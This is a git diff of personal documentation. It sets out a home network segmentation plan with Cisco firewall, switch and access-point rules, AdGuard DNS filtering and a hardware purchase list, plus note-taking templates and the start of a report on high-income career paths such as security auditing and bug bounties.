+ │ CISCO SG350 / 2960X │ + │ MANAGED SWITCH │ + │ │ + │ P1 P2 P3 P4 P5 P6 P7 P8 + │ │ │ │ │ │ │ │ │ + │ V1 V1 V1 TR V20 V20 V30 MIR + └──┬───┬───┬───┬───┬───┬───┬───┬─┘ + │ │ │ │ │ │ │ + │ │ │ │ │ │ └──> IDS tap (optional) + │ │ │ │ │ │ + │ │ │ │ │ └──> family wired (if any) + │ │ │ │ │ + │ │ │ │ └──> family wired (if any) + │ │ │ │ + │ │ │ │ trunk + │ │ │ │ + │ │ │ ▼ + │ │ │ ┌────────────────────┐ + │ │ │ │ CISCO AIRONET │ + │ │ │ │ 2802i / 3802i │ + │ │ │ │ │ + │ │ │ │ SSID: YOTAM ──── VLAN 1 + │ │ │ │ SSID: YOTAM-fam VLAN 20 + │ │ │ │ SSID: YOTAM-iot VLAN 30 + │ │ │ └────────────────────┘ + │ │ │ ))) + │ │ │ / \ + │ │ │ / \ + │ │ │ phones tablets smart TV + │ │ │ (V20) (V20) (V30) + │ │ │ + │ │ └──> STARGATE (10.0.0.142) [VLAN 1] + │ │ - AdGuard Home (DNS) + │ │ - Zeek / ntopng (if tapped) + │ │ - All hosted services + │ │ + │ └──> moirai (desktop) [VLAN 1] + │ + └──> krislaptop (via Tailscale, or wired when home) [VLAN 1] +``` + +## Logical Topology (VLANs) + +``` +┌─────────────────────────────────────────────────────┐ +│ FIREWALL │ +│ │ +│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ +│ │ VLAN 1 │ │ VLAN 20 │ │ VLAN 30 │ │ +│ │ TRUSTED │ │ FAMILY │ │ IOT │ │ +│ │ │ │ │ │ │ │ +│ │ 10.0.1.x │ │ 10.0.20.x│ │ 10.0.30.x│ │ +│ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ +│ │ │ │ │ +│ │ ┌─────────┤ │ │ +│ │ │ │ │ │ +│ ▼ ▼ ▼ ▼ │ +│ ALLOW ALL INTERNET HTTPS ONLY │ +│ ONLY NO LAN │ +│ NO LAN NO DNS BYPASS │ +│ │ +└─────────────────────────────────────────────────────┘ +``` + +## Traffic Flow + +``` +OUTBOUND (family device -> internet) +============================================================ + + phone AP switch firewall modem + │ │ │ │ │ + │──wifi──> │ │ │ │ + │ (tagged │──trunk──> │ │ │ + │ V20) │ │──trunk──> │ │ + │ │ │ │──NAT+IPS──> │ + │ │ │ │ │──> internet + │ │ │ │ <────────── │ + │ │ │ <──────── │ │ + │ │ <──────── │ │ │ + │ <─────── │ │ │ │ + +BLOCKED (family device -> STARGATE) +============================================================ + + phone AP switch firewall + │ │ │ │ + │──wifi──> │ │ │ + │ (tagged │──trunk──> │ │ + │ V20) │ │──trunk──> │ + │ │ │ │── DENY ──X + │ │ │ │ (V20->V1) + │ │ │ │ + │ <─ICMP── │ <──────── │ <──────── │ + │ unreachable │ │ + +DNS QUERY (any device) +============================================================ + + device firewall STARGATE (AdGuard) + │ │ │ + │──DNS──> │ │ + │ │──forward──> │ + │ │ │── blocked? return 0.0.0.0 + │ │ │── allowed? resolve + return IP + │ │ <────────── │ + │ <──────── │ │ +``` + +## Port Assignments (planned) + +``` +SWITCH PORT MAP +================================================================ +Port │ Mode │ VLAN │ Device │ Notes +------│---------│---------│---------------------│---------------- + 1 │ access │ 1 │ STARGATE │ server + 2 │ access │ 1 │ moirai │ desktop + 3 │ access │ 1 │ (spare trusted) │ + 4 │ trunk │ all │ Aironet AP │ PoE if available + 5 │ access │ 20 │ (family wired) │ + 6 │ access │ 20 │ (family wired) │ + 7 │ access │ 30 │ (IoT wired) │ + 8 │ mirror │ -- │ IDS sensor │ optional +================================================================ +``` diff --git a/doc/networks/network.md b/doc/networks/network.md new file mode 100644 index 0000000000000000000000000000000000000000..af6e04c2924922f069764c34d13087da53a5ff56 --- /dev/null +++ b/doc/networks/network.md @@ -0,0 +1,159 @@ +# Network Fundamentals + +## The Three Core Devices + +### Router + +A router moves packets between *different* networks. Your home has one network. The internet is another. The router sits at the boundary and decides where traffic goes. + +- It has a public IP (from your ISP) and a private IP (your LAN side) +- It runs NAT (Network Address Translation) so all your devices share one public IP +- It makes routing decisions: "this packet is for 10.0.0.x, keep it local" vs "this packet is for 8.8.8.8, send it out the WAN" +- Consumer "routers" are actually router + switch + AP + firewall in one box, which is why the terms get confusing + +In your build, the Cisco ISR or the ASA handles this role. + +### Firewall + +A firewall controls *what* traffic is allowed to pass. It sits inline (between your network and the internet) and inspects every packet against a ruleset. + +- Stateful inspection: tracks connections. If you opened a connection to google.com, it allows the response back in. If something from outside tries to initiate a connection to you, it gets dropped. +- Rules are ordered: first match wins. You define what's allowed, everything else is denied (default deny). +- Modern firewalls (like the ASA with FirePOWER) also do deep packet inspection (DPI), which means they look inside the packet payload, not just the headers. This is how IDS/IPS works -- it can detect malware signatures, exploit attempts, C2 traffic. +- A firewall without IPS is a locked door. A firewall with IPS is a locked door with a guard who checks bags. + +The Cisco ASA 5506/5508-X is your firewall. It also does routing, so in a home/small setup it fills both roles. + +### Switch + +A switch moves frames between devices on the *same* network. It operates at Layer 2 (MAC addresses). + +- Every device on your LAN plugs into the switch (or connects to an AP that plugs into the switch) +- It learns which MAC address is on which port and only sends traffic where it needs to go (unlike a hub, which blasts everything everywhere) +- A *managed* switch lets you create VLANs, which is the key to network segmentation + +The Cisco SG350 or WS-2960X is your switch. + +## VLANs + +A VLAN (Virtual LAN) splits one physical switch into multiple logical networks. Devices on VLAN 1 cannot talk to devices on VLAN 20 unless the firewall explicitly allows it. + +This is why VLANs matter for security: + +- Your trusted machines (VLAN 1) can reach everything +- Family devices (VLAN 20) can reach the internet but not your servers +- IoT garbage (VLAN 30) is completely isolated -- a compromised smart TV can't pivot to your network + +VLANs travel between devices over *trunk ports*, which carry tagged traffic (each frame is stamped with its VLAN ID). *Access ports* are untagged and belong to a single VLAN -- this is what end devices plug into. + +## Access Point (AP) + +A wireless access point is just a switch port that happens to be wireless. Enterprise APs support multiple SSIDs, each mapped to a different VLAN. One radio broadcasts three networks: + +- `YOTAM` on VLAN 1 (trusted) +- `YOTAM-family` on VLAN 20 (filtered) +- `YOTAM-iot` on VLAN 30 (isolated) + +The AP itself plugs into a trunk port on the switch. It tags the wireless traffic with the right VLAN ID before it hits the wire. + +Consumer APs have no concept of VLANs. Enterprise APs (Cisco Aironet, Ruckus, Ubiquiti) do. + +## How They Work Together + +``` +INTERNET + | + v +[MODEM] (bridge mode -- just converts ISP signal to ethernet) + | + v +[FIREWALL/ROUTER] (ASA 5506-X) + | - NAT: translates private IPs to public + | - Firewall rules: blocks unauthorized inbound + | - IPS (FirePOWER): inspects traffic for threats + | - DHCP: assigns IPs to each VLAN + | - Routes between VLANs (inter-VLAN routing) + | + v (trunk link carrying all VLANs) +[MANAGED SWITCH] (SG350 / 2960X) + | - Splits trunk into access ports per VLAN + | - Port 1-3: VLAN 1 (your wired devices) + | - Port 4: trunk to AP + | - Port 5-6: VLAN 20 (family wired, if any) + | - Port 7: VLAN 30 (IoT wired, if any) + | - Port 8: mirror port (optional, for IDS tap) + | + v (trunk link) +[ACCESS POINT] (Aironet 2802i) + | - SSID "YOTAM" -> VLAN 1 + | - SSID "YOTAM-family" -> VLAN 20 + | - SSID "YOTAM-iot" -> VLAN 30 + | + v +[DEVICES] + - Your laptop, desktop, STARGATE -> VLAN 1 + - Family phones, tablets -> VLAN 20 + - Smart TV, Alexa, whatever -> VLAN 30 +``` + +## The Packet's Journey + +When your mom opens Instagram on VLAN 20: + +1. Her phone sends a DNS query to AdGuard Home (which you set as the DHCP-assigned DNS for VLAN 20) +2. AdGuard filters it -- if it's an ad/tracker domain, it returns 0.0.0.0 and the request dies here +3. If allowed, the DNS response comes back with Instagram's IP +4. Her phone sends a TCP SYN to that IP. The packet is tagged VLAN 20 by the AP +5. The switch forwards the tagged frame up the trunk to the firewall +6. The firewall checks: "VLAN 20 to internet? Allowed." It NATs the source IP and sends it out the WAN +7. FirePOWER inspects the packet payload for anything malicious +8. Instagram responds. The firewall's state table matches it to the existing connection, allows it back +9. The packet comes back down the trunk, switch sends it to the AP, AP sends it to her phone + +If her phone tries to reach 10.0.0.142 (STARGATE), step 6 changes: "VLAN 20 to VLAN 1? Denied." Packet dropped. + +## IDS vs IPS + +- **IDS** (Intrusion Detection System): watches traffic passively, alerts you when it sees something bad. A security camera. +- **IPS** (Intrusion Prevention System): sits inline and actively blocks bad traffic. A bouncer. + +FirePOWER on the ASA runs in IPS mode by default. It uses Snort rules (maintained by Cisco Talos) to detect exploit attempts, malware downloads, C2 beacons, port scans, and more. When it sees a match, it drops the packet before it reaches your network. + +## DNS Filtering (AdGuard Home) + +You already run this on STARGATE. It is the first line of defense and catches the most common threats: + +- Malware domains +- Phishing domains +- Ad networks (which are a common malware vector) +- Tracking domains +- Cryptomining scripts + +Set AdGuard as the DNS server for all VLANs via DHCP on the firewall. On VLAN 30 (IoT), also add a firewall rule that blocks all DNS except to AdGuard -- many IoT devices hardcode 8.8.8.8 to bypass local DNS. + +## Firewall Rule Philosophy + +Default deny. You write rules for what you *allow*, everything else is dropped. + +``` +VLAN 1 (trusted) -> ANY : ALLOW +VLAN 20 (family) -> INTERNET : ALLOW +VLAN 20 (family) -> VLAN 1 : DENY +VLAN 20 (family) -> VLAN 30 : DENY +VLAN 30 (iot) -> INTERNET:443 : ALLOW (HTTPS only) +VLAN 30 (iot) -> INTERNET:53 : DENY (force local DNS) +VLAN 30 (iot) -> ANY LAN : DENY +ANY -> ANY : DENY (implicit) +``` + +## Summary + +| Device | Layer | Job | Security role | +|--------|-------|-----|---------------| +| Modem | L1 | Signal conversion | None (bridge mode) | +| Firewall | L3-L7 | Traffic filtering, NAT, routing | Perimeter defense, IPS | +| Switch | L2 | Frame forwarding, VLANs | Network segmentation | +| AP | L1-L2 | Wireless to wired bridge | VLAN assignment per SSID | +| DNS filter | L7 | Domain resolution | Block malicious/ad domains | + +The firewall is your perimeter. VLANs are your interior walls. DNS filtering is your front desk. IPS is your guard. Everything else is just making sure these four things work together correctly. diff --git a/doc/networks/purchase.md b/doc/networks/purchase.md new file mode 100644 index 0000000000000000000000000000000000000000..3f418462b8ef397cd2c0bd60cb958c374a2928f9 --- /dev/null +++ b/doc/networks/purchase.md @@ -0,0 +1,77 @@ +# Purchase Order + +Priority order. Each phase is usable on its own -- you don't need everything to start being more secure. + +## Phase 1: Perimeter ($40-80) + +**Buy: Cisco ASA 5506-X** + +This is the single highest-impact purchase. Right now your ISP router is your only defense and it's garbage. The ASA replaces it as your gateway and gives you: + +- Stateful firewall (default deny) +- NAT +- FirePOWER IPS (Snort + Talos rules) +- VPN termination +- Basic routing + +You can run your entire network through the ASA alone using its built-in 8-port switch. No managed switch needed yet. Plug STARGATE, moirai, and your current AP directly into the ASA's LAN ports. + +Even without VLANs, you immediately get a real firewall + IPS between you and the internet. + +Search: "Cisco ASA 5506-X" on eBay, $40-80. Get one with FirePOWER license if possible (most have it). Comes with power supply. That's all you need. + +**Time to deploy: one afternoon.** + +## Phase 2: Segmentation ($30-50) + +**Buy: Cisco SG350-10 or WS-C2960X-24PS-L** + +Now you add VLANs. This is what isolates family and IoT devices from your trusted network. + +- SG350-10: $30-40, 10 ports, web GUI + CLI, easy VLAN config +- WS-C2960X-24PS-L: $40-60, 24 ports, PoE (powers the AP later), full IOS + +Plug it into the ASA's trunk port. Configure VLANs 1/20/30. Move your wired devices to the right access ports. + +At this point family devices are still on your current AP with no segmentation -- but your wired infrastructure is segmented. + +**Time to deploy: one evening.** + +## Phase 3: Wireless Segmentation ($25-50) + +**Buy: Cisco Aironet 2802i or 3802i** + +This completes the build. The Aironet replaces your consumer AP and broadcasts separate SSIDs per VLAN. + +- Flash to Mobility Express firmware (standalone, no WLC needed) +- Configure three SSIDs mapped to three VLANs +- Plug into a trunk port on the switch + +Now everything is segmented -- wired and wireless. Family gets internet-only access, IoT is fully jailed. + +If your switch has PoE (2960X), the AP powers over ethernet. If not, grab a Cisco AIR-PWRINJ6 PoE injector for ~$10. + +**Time to deploy: one evening (firmware flash takes the longest).** + +## Phase 4: Stretch (when budget allows) + +| Priority | Item | Why | Price | +|----------|------|-----|-------| +| 1 | Console cable (USB to RJ45) | Configure ASA/switch via CLI | $8 | +| 2 | APC SMT750 UPS (used) | Network stays up during power blips | $40-60 | +| 3 | Second Aironet AP | Coverage for dead zones | $25 | +| 4 | Dualcomm ETAP-2003 tap | Passive traffic mirror to STARGATE for Zeek | $40 | +| 5 | Second OptiPlex Micro | Dedicated IDS sensor (Security Onion) | $50 | + +## Summary + +``` +Phase 1: $40-80 ASA firewall = real perimeter defense TODAY +Phase 2: $30-50 managed switch = network segmentation +Phase 3: $25-50 enterprise AP = wireless segmentation +Phase 4: $40-180 hardening extras = monitoring, redundancy +-------------------------------------------------------------- +Total: $135-360 +``` + +Phase 1 alone puts you miles ahead of where you are now. Do that first, even if you can't buy anything else for a month. diff --git a/doc/networks/rules.md b/doc/networks/rules.md new file mode 100644 index 0000000000000000000000000000000000000000..22384ae90c87cc1165779c98f12153dc270f7d60 --- /dev/null +++ b/doc/networks/rules.md @@ -0,0 +1,280 @@ +# Firewall & Network Rules + +Everything that needs to be configured across all devices. Organized by device. + +## ASA Firewall Rules + +### Inter-VLAN Policy + +``` +# Src Dst Proto Port Action Notes +1 VLAN1 ANY ANY ANY ALLOW trusted, full access +2 VLAN20 INTERNET TCP 80,443 ALLOW family web +3 VLAN20 INTERNET UDP 443 ALLOW family QUIC/HTTP3 +4 VLAN20 STARGATE TCP 53 ALLOW DNS to AdGuard +5 VLAN20 STARGATE UDP 53 ALLOW DNS to AdGuard +6 VLAN20 VLAN1 ANY ANY DENY no LAN access +7 VLAN20 VLAN30 ANY ANY DENY no IoT access +8 VLAN30 INTERNET TCP 443 ALLOW IoT HTTPS only +9 VLAN30 STARGATE UDP 53 ALLOW DNS to AdGuard +10 VLAN30 STARGATE TCP 53 ALLOW DNS to AdGuard +11 VLAN30 INTERNET UDP 53 DENY block DNS bypass +12 VLAN30 INTERNET TCP 53 DENY block DNS bypass +13 VLAN30 ANY LAN ANY ANY DENY full isolation +14 ANY ANY ANY ANY DENY implicit default +``` + +### Rule notes + +- Rule 11-12 are critical: many IoT devices hardcode 8.8.8.8 or 1.1.1.1 to bypass local DNS. Block it and force them through AdGuard. +- VLAN 20 gets 80+443 because some captive portals and HTTP redirects still need port 80. +- VLAN 30 gets 443 only. If a device breaks, add a specific rule for it rather than opening everything. +- Rule ordering matters on the ASA: first match wins. Specific allows before broad denies. + +### NAT Rules + +``` +NAT Type Src Dst Translated to +--------------------------------------------------------- +Dynamic PAT VLAN1 INTERNET WAN interface IP +Dynamic PAT VLAN20 INTERNET WAN interface IP +Dynamic PAT VLAN30 INTERNET WAN interface IP +``` + +All three VLANs share the single public IP via PAT. No inbound NAT unless you explicitly need to expose a service (you probably don't -- use Tailscale instead). + +### Inbound (WAN -> LAN) + +``` +# Src Dst Proto Port Action Notes +1 ANY WAN ICMP echo DENY no ping from internet +2 ANY WAN TCP ANY DENY no inbound services +3 ANY WAN UDP ANY DENY nothing open +``` + +Zero inbound ports. All remote access goes through Tailscale, which is outbound-initiated and punches through NAT. The ASA never needs to accept inbound connections. + +## DHCP Configuration (on ASA) + +``` +VLAN Subnet Gateway DNS Lease +-------------------------------------------------------------- +1 10.0.1.0/24 10.0.1.1 10.0.0.142 24h +20 10.0.20.0/24 10.0.20.1 10.0.0.142 12h +30 10.0.30.0/24 10.0.30.1 10.0.0.142 6h +``` + +- DNS for all VLANs points to STARGATE (AdGuard Home) +- Shorter lease on IoT so devices cycle faster and you catch new ones +- STARGATE itself gets a static IP (10.0.1.142 or keep 10.0.0.142 -- just be consistent) + +### Static assignments (reserve in DHCP) + +``` +Device MAC IP VLAN +------------------------------------------------------------- +STARGATE (get from ifconfig) 10.0.1.142 1 +moirai (get from ifconfig) 10.0.1.100 1 +krislaptop (get from ifconfig) 10.0.1.101 1 +``` + +## Switch Rules (SG350 / 2960X) + +### VLAN Definitions + +``` +VLAN ID Name Subnet +--------------------------------- +1 TRUSTED 10.0.1.0/24 +20 FAMILY 10.0.20.0/24 +30 IOT 10.0.30.0/24 +``` + +### Port Assignments + +``` +Port Mode VLAN(s) Device +--------------------------------------- +1 access 1 STARGATE +2 access 1 moirai +3 access 1 (spare) +4 trunk 1,20,30 AP (Aironet) +5 access 20 (family wired) +6 access 20 (family wired) +7 access 30 (IoT wired) +8 trunk 1,20,30 uplink to ASA +``` + +### Port Security (optional but recommended) + +``` +Feature Setting Why +--------------------------------------------------------- +MAC address limit 2 per port prevents rogue devices +BPDU guard enabled prevents rogue switches +DHCP snooping enabled prevents rogue DHCP servers +Dynamic ARP inspection enabled prevents ARP spoofing +Storm control broadcast 20% prevents broadcast storms +``` + +These are all switch-level protections that cost nothing to enable and prevent common LAN attacks. + +## AP Rules (Aironet) + +### SSID Configuration + +``` +SSID VLAN Auth Band Notes +------------------------------------------------------------ +YOTAM 1 WPA3-Personal 2.4+5 trusted devices only +YOTAM-family 20 WPA2-Personal 2.4+5 family devices +YOTAM-iot 30 WPA2-Personal 2.4 IoT (most are 2.4 only) +``` + +- WPA3 on trusted SSID if all your devices support it (moirai, laptop do) +- WPA2 on family/IoT because older devices choke on WPA3 +- Different passwords for each SSID obviously +- Hide YOTAM SSID (optional, minor security through obscurity but keeps it clean) + +### Client Isolation + +``` +SSID Client isolation +--------------------------------- +YOTAM off (trusted devices can see each other) +YOTAM-family on (family devices can't see each other) +YOTAM-iot on (IoT devices fully isolated from each other) +``` + +Client isolation on VLAN 30 is important. A compromised IoT device can't even scan other IoT devices. + +## AdGuard Home Rules (STARGATE) + +### Per-client DNS filtering + +AdGuard supports different filter profiles per client IP range: + +``` +Client group IPs Filters +----------------------------------------------------- +trusted 10.0.1.0/24 minimal (ads + malware only) +family 10.0.20.0/24 moderate (ads + malware + adult + tracking) +iot 10.0.30.0/24 aggressive (block everything except allowlist) +``` + +### Blocklists to enable + +``` +List Purpose +----------------------------------------------------- +AdGuard DNS filter ads + trackers +OISD (full) comprehensive ad/malware +Steven Black unified malware + fakenews + gambling +Hagezi Pro trackers + telemetry +NoCoin cryptomining +Phishing Army phishing domains +``` + +### IoT allowlist approach + +For VLAN 30, flip the model: block everything by default and only allow domains each device actually needs to function. Build the allowlist by: + +1. Set up the IoT device +2. Watch AdGuard logs for blocked queries from its IP +3. Allow only the domains it needs (e.g., *.amazon.com for Alexa) +4. Everything else stays blocked + +## FirePOWER IPS Rules (on ASA) + +### Rule sets to enable + +``` +Category Action Why +----------------------------------------------------- +Malware-CnC drop block command & control callbacks +Exploit-Kit drop block exploit kit delivery +Blacklist drop known bad IPs/domains +App-Detect alert log application identification +Policy-Social alert detect social media on IoT (shouldn't happen) +Server-Webapp drop block web app exploits +OS-Windows drop block Windows exploits +File-Flash / File-Java drop block Flash/Java delivery (always malicious now) +``` + +### Custom rules to add + +``` +# Block IoT devices phoning home to China/Russia +# (GeoIP filtering on ASA) +deny ip VLAN30 any country CN +deny ip VLAN30 any country RU + +# Alert on any device trying DNS over HTTPS (bypasses AdGuard) +alert tcp any any -> any 443 (content:"dns.google"; msg:"DoH bypass attempt";) +alert tcp any any -> any 443 (content:"cloudflare-dns.com"; msg:"DoH bypass attempt";) +alert tcp any any -> any 443 (content:"dns.quad9.net"; msg:"DoH bypass attempt";) +``` + +## Tailscale Integration + +Tailscale stays as your remote access layer. No changes needed to the mesh, but tighten the ACLs: + +```jsonc +// tailscale ACL policy +{ + "acls": [ + // kris can reach everything + {"action": "accept", "src": ["kris@"], "dst": ["*:*"]}, + + // STARGATE can reach other tailscale nodes + {"action": "accept", "src": ["tag:server"], "dst": ["*:*"]}, + + // nothing else + {"action": "deny", "src": ["*"], "dst": ["*:*"]} + ] +} +``` + +## Checklist + +Things to configure, in order, once hardware arrives: + +``` +PHASE 1 (ASA only) +[ ] Flash ASA to latest firmware +[ ] Set WAN interface (DHCP from modem) +[ ] Set LAN interface (10.0.1.1/24) +[ ] Enable PAT on WAN +[ ] Set DHCP server for VLAN 1 +[ ] Point DHCP DNS to STARGATE +[ ] Enable FirePOWER IPS with default Talos ruleset +[ ] Block all inbound on WAN +[ ] Test: internet works, STARGATE reachable, no open inbound ports + +PHASE 2 (add switch) +[ ] Create VLANs 1, 20, 30 on switch +[ ] Set trunk port to ASA +[ ] Set trunk port to AP slot +[ ] Set access ports per plan above +[ ] Create VLAN interfaces on ASA (10.0.20.1, 10.0.30.1) +[ ] Set DHCP pools for VLAN 20 and 30 +[ ] Apply inter-VLAN firewall rules +[ ] Enable port security features +[ ] Test: VLAN 20 can reach internet, cannot reach VLAN 1 + +PHASE 3 (add AP) +[ ] Flash Aironet to Mobility Express +[ ] Configure three SSIDs with VLAN tags +[ ] Set WPA3/WPA2 per SSID +[ ] Enable client isolation on VLAN 20 and 30 +[ ] Test: each SSID gets correct VLAN, isolation works + +PHASE 4 (hardening) +[ ] Set up per-client DNS profiles in AdGuard +[ ] Build IoT domain allowlist +[ ] Enable DoH bypass detection +[ ] Configure GeoIP blocking on ASA +[ ] Set up Zeek/ntopng on STARGATE (if TAP purchased) +[ ] Tighten Tailscale ACLs +[ ] Run nmap from outside to verify zero open ports +``` diff --git a/doc/note.md b/doc/note.md new file mode 100644 index 0000000000000000000000000000000000000000..cd7ce1af5617f982b493b2b1efbbba3c91626073 --- /dev/null +++ b/doc/note.md @@ -0,0 +1,84 @@ +# This is the documentation of the revision of notes.krisyotam.com's note taking sysetem via lit/slipbox + +[ ] The first step is simplification of the litbox repo by collapsing its structure into a flat directory and redirecting organization to the front matter for a grep based workflow + +so the repo will just be: + +[ ] slipbox + [ ] notes + [ ] a-example-note.md + [ ] sci.bib <--- symlinked locally, src/notes.krisyotam.com should clone this to the public directory same with src/krisyotam.com so both can serve it krisyotam.com viewable plaintext and notes.krisyotam.com is already setup to serve its old internal .bib file its just getting replaced by this, the sci.bib is in sci/sci.bib sci is in the home directory + [ ] README.md <--- collapse the process.md into this as well + +# Templates aka. Types of Notes +================================ + +--- +title: +slug: +created: +modified: +backlinks: +linkedNotes: [] +tags: [] +format: evergreen +--- + + +--- +title: "Author, I. (YYYY). This Is a Research Paper: Continued title as subtitle +slug: "zuathtoaOEN" <--- randomly generated string +created: +modified: +backlinks: +linkedNotes: ["kfaksdydYEHand", "kalKHekfnzl", "kakfaKAJKs"] <-- array of linked notes +tags: [] +format: paper +--- + + +--- +title: "First Last" +slug: "lakjdJDKFkl" +created: +modified: +backlinks: # +linkedNotes: [] +tags: +format: person +--- + + +--- +name: "This is a qeustion?" +slug: "lakdJFKls" +created: +modified: +backlinks: # +linkedNotes: [] +tags: +format: question +--- + +--- +title: "YYYY-MM-DD Patreon Letter - title of the letter" +slug: "dklfajdksljFKJKdl" +created: +modified: +backlinks: # +linkedNotes: ["fjkaldjkKJFklsad"] +tags: [] +format: letter +--- + +--- +title: "EXAMPLE 101A - Lecture # - Noun" +slug: "akldjKFJDLk" +created: +modified: +backlinks: +linkedNotes : +format: lecture +--- + + diff --git a/doc/old-system/drastic-income-research.md b/doc/old-system/drastic-income-research.md new file mode 100644 index 0000000000000000000000000000000000000000..d686020ca3dd914bd30baf4f8ff0e9d8827f65a6 --- /dev/null +++ b/doc/old-system/drastic-income-research.md @@ -0,0 +1,547 @@ +# Drastic Income Paths for an Analytical Polymath + +**Research Date: 2026-03-22** + +A structured report on demonstrated, novel, and realistic paths to high income ($40k/month target) for someone with programming, math, writing, research, and data analysis skills. Organized by the three pillars: **Earn**, **Multiply**, **Preserve**. Heavy emphasis on Earn since that is the binding constraint. + +--- + +## PILLAR I: EARN + +### Tier S: Highest Ceiling, Demonstrated Fast Results + +--- + +#### 1. Smart Contract Security Auditing (Competitive + Solo) + +**The single highest-ROI path for your exact skill profile.** + +**What it is:** Finding vulnerabilities in blockchain smart contracts through competitive audit contests (Code4rena, Sherlock, CodeHawks, Cantina) and eventually solo private audits. + +**Demonstrated earnings:** +- MiloTruck earned ~$172k in one year across 17 contests, reviewing 34k lines of Solidity. His best month was $74k from just two contests. +- One auditor hit $1M in Code4rena awards after 14 months of grinding. +- Immunefi has paid $100M+ total to researchers. The median payout is ~$2k, but critical bugs in major protocols have paid $10M (Wormhole), $6M, and $2M. +- Average critical bug bounty on Immunefi: $46k (2024), $26k (2025). + +**Timeline to first income:** 2-4 months of intensive study (Solidity, common vulnerability patterns, fuzzing tools). First contest payouts in month 3-5. Serious income ($5k-20k/month) by month 6-9 if you have the analytical chops. + +**Capital needed:** $0. Just time. + +**Entry points:** +- Patrick Collins' Cyfrin Updraft course (free) for Solidity + security fundamentals +- CryptoZombies for Solidity basics +- Practice on Damn Vulnerable DeFi, Ethernaut +- Start competing on Code4rena, Sherlock, CodeHawks +- Study past contest reports obsessively +- Tools: Slither, Mythril, Echidna (fuzzer), Foundry + +**Income ceiling:** Solo auditors with reputation charge $30k-100k+ per audit (1-2 week engagements). Top competitive auditors clear $200k-500k/year. The ceiling is effectively uncapped if you find critical bugs on Immunefi. + +**Income floor:** $0-2k/month for the first few months while learning. Many beginners find nothing in their first contests. + +**Why this fits you:** Pure logic, pattern recognition, adversarial thinking. No clients, no sales, no meetings. Just you vs. code. Math background helps with DeFi protocol logic (AMMs, lending protocols, options pricing). + +**Key resource:** milotruck.github.io/blog/A-year-of-Competitive-Audits/ + +--- + +#### 2. Bug Bounties (Web2 + Web3) + +**What it is:** Finding security vulnerabilities in production software for bounty payments. + +**Demonstrated earnings:** +- HackerOne paid $81M in bounties in the past year (13% YoY growth). +- Six hackers have each earned over $1M lifetime on HackerOne. +- Cosmin Lordache (@inhibitor181, Romanian) was the first to hit $2M on HackerOne. +- Average yearly payout across active researchers: ~$42k. +- Top 5% earn 50% of all bounties. + +**Realistic breakdown:** +- Beginners: $0-500/month for 6-12 months +- Intermediate: $2k-5k/month +- Elite: $100k+/year + +**Platforms:** +- HackerOne (avg payout $500-5k, top: $100k+) +- Bugcrowd (avg $300-3k, top: $50k+) +- Immunefi (Web3, avg critical: $26k-46k) +- Intigriti +- YesWeHack + +**Timeline:** 3-6 months to first meaningful payout. 12-18 months to consistent income. + +**Capital needed:** $0. + +**Why it fits:** Same analytical/adversarial skillset as contract auditing. Can run both tracks simultaneously. + +--- + +#### 3. AI/LLM Consulting and RLHF Training + +**What it is:** Freelance AI consulting (prompt engineering, fine-tuning, RAG systems, agent design) and high-end AI training data work. + +**Demonstrated rates:** +- Mid-level AI/LLM freelancers: $65-100/hr +- Specialized prompt consultants: $100-200/hr +- Senior experts (LangChain, agent systems): $200-400/hr +- Custom LLM fine-tuning projects: $20k-70k per project +- Mercor (AI training platform) pays $130-170/hr for domain experts doing RLHF work + +**Platforms:** +- Toptal (3% acceptance, but highest rates) +- Upwork (volume, lower barrier) +- Mercor (RLHF, paying $1.5M/day to 30k contractors) +- Scale AI / Outlier ($30-80/hr for specialized coding/math RLHF) +- DataAnnotation.tech ($20-50/hr) +- Direct outreach to AI startups + +**Timeline:** Immediate if you already have skills. Build a portfolio of 2-3 projects, then charge $100+/hr within 1-3 months. + +**Capital needed:** $0. + +**Income ceiling:** $200-400/hr consulting = $30k-60k/month at reasonable utilization. Project-based work can be higher. + +**Income floor:** $40-80/hr for basic RLHF annotation work, available immediately. + +**Why it fits:** Your programming + math skills are exactly what the market wants. The demand curve for AI talent is still steeper than supply. + +--- + +#### 4. Prediction Market Trading / Arbitrage + +**What it is:** Exploiting pricing inefficiencies on Polymarket, Kalshi, and between platforms using analytical models and automated bots. + +**Demonstrated earnings:** +- A French trader netted $85M on Polymarket during the 2024 US election using superior data models. +- Cross-platform arbitrageurs extracted $40M+ from Polymarket between April 2024 and April 2025. +- Only 0.51% of wallets have realized profits exceeding $1k. 70% of addresses have losses. +- Individual bot operators have documented $764/day on BTC-15m markets with $200 initial capital. + +**Realistic approach:** +- Build automated bots that exploit Polymarket-Kalshi price discrepancies +- Use statistical models to identify mispriced contracts (information edge, not opinion) +- Start with small capital, scale what works + +**Capital needed:** $200-2k to start. Serious capital ($10k+) for meaningful returns. + +**Timeline:** 2-4 weeks to build a working bot. Profitability depends on market conditions and your edge. + +**Income ceiling:** Uncapped but highly variable. Best operators make $10k-100k+/month during volatile periods. + +**Income floor:** $0 or negative. 70% of traders lose money. + +**Key resources:** +- Polymarket API documentation +- Open-source arbitrage bots on GitHub (study, don't copy) +- polymarketanalytics.com for data + +**Why it fits:** Math + programming + analytical edge. This is where the quant-without-a-hedge-fund plays. + +--- + +### Tier A: Strong Income, Proven Paths + +--- + +#### 5. Freelance Data Science / Quantitative Consulting + +**What it is:** Contract data science, ML engineering, and quantitative analysis work. + +**Demonstrated rates:** +- Average freelance DS/ML consulting: $131/hr (crowdsourced from 1000+ freelancers) +- Toptal data scientists: $60-180/hr +- Upwork senior DS: $90-200+/hr +- Mid-tier (3-6 years): $40-90/hr + +**Platforms:** +- Toptal (best rates, hard to get in) +- Upwork (volume) +- Gun.io +- A.Team +- Expert networks (see below) + +**Timeline:** 1-2 months to build profile and land first contracts. 3-6 months to consistent $10k+/month. + +**Capital needed:** $0. + +**Income ceiling:** $20k-40k/month at high utilization. + +--- + +#### 6. Expert Network Consulting + +**What it is:** Getting paid $250-1000/hr for phone calls where you share domain expertise with hedge funds, PE firms, and consultancies. + +**Demonstrated rates:** +- GLG charges clients $1,500-2,000/hr; experts receive $250-500/call +- AlphaSights: $250-500+/hr +- Guidepoint: similar range +- Specialized knowledge (pharma, crypto, AI): $500-1000+/hr + +**Platforms:** GLG, AlphaSights, Guidepoint, Third Bridge, Tegus, Prosapient + +**How to start:** Apply to all platforms simultaneously. Position your expertise in a high-demand niche (AI/ML, crypto infrastructure, quantitative methods). Takes 1-2 weeks to get approved, 